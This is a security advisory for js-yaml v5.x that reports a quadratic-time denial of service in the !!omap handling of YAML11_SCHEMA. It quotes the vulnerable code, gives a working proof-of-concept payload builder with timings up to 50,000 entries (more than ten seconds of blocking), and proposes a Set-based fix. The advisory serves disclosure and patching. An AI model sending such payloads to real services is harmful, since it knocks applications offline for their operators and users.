js-yaml: Quadratic-complexity (O(n^2)) DoS via !!omap tag in YAML11_SCHEMA

Summary

js-yaml v5.x introduces YAML11_SCHEMA support with the !!omap (ordered map) tag. The omapTag.addItem() function performs a linear O(n) scan for duplicate key detection on every insertion, resulting in O(n^2) total time to parse a document with n omap entries. An attacker can send a small crafted YAML document to trigger a multi-second CPU stall in any application that uses yaml.load() with { schema: yaml.YAML11_SCHEMA }.

Details

In src/tag/sequence/omap.ts (compiled: dist/js-yaml.cjs.js:510-525):

var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {
    create: () => [],
    addItem: (container, item) => {
        // ...
        for (const existing of container)   // O(n) per insertion!
            if (hasOwnProperty(existing, itemKeys[0]))
                return 'cannot resolve an ordered map item';
        container.push(object);             // n insertions → O(n^2) total
        return '';
    }
});

For a document with n unique entries, insertion i scans i−1 existing entries, yielding 1+2+…+n = O(n²) total work.

PoC (runtime-confirmed on v5.2.0)

const yaml = require('js-yaml');
function buildOmapPayload(n) {
  let p = '!!omap\n';
  for (let i = 0; i < n; i++) p += '- key' + i + ': val' + i + '\n';
  return p;
}
// Timing results on v5.2.0:
// n=1000:  9ms
// n=5000:  73ms  (5x n → 8x time)
// n=10000: 255ms (2x n → 3.5x time — supralinear)
// n=20000: 997ms (2x n → 3.9x time — O(n²) confirmed)
// n=50000: 10613ms          ← blocks event loop for >10 seconds
yaml.load(buildOmapPayload(50000), { schema: yaml.YAML11_SCHEMA });

Impact

Any application that parses untrusted YAML using yaml.load(input, { schema: yaml.YAML11_SCHEMA }) is vulnerable to Denial of Service. A ~2 MB payload of 50,000 entries blocks the Node.js event loop for 10+ seconds. Smaller payloads (5,000 entries, ~100 KB) already cause noticeable slowdowns (73 ms per parse, amplified under concurrent load).

This affects the newly released 5.x series (first published 2026-06-20) which adds YAML 1.1/1.2 schema support including !!omap. The 4.x series is unaffected (no YAML11_SCHEMA export).

Fix

Replace the O(n) linear scan in addItem with an O(1) Set-based lookup:

var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {
    create: () => ({ list: [], seen: new Set() }),
    addItem: (state, item) => {
        const key = Object.keys(item)[0];
        if (state.seen.has(key)) return 'duplicate omap key';
        state.seen.add(key);
        state.list.push(item);
        return '';
    },
    resolve: (state) => state.list
});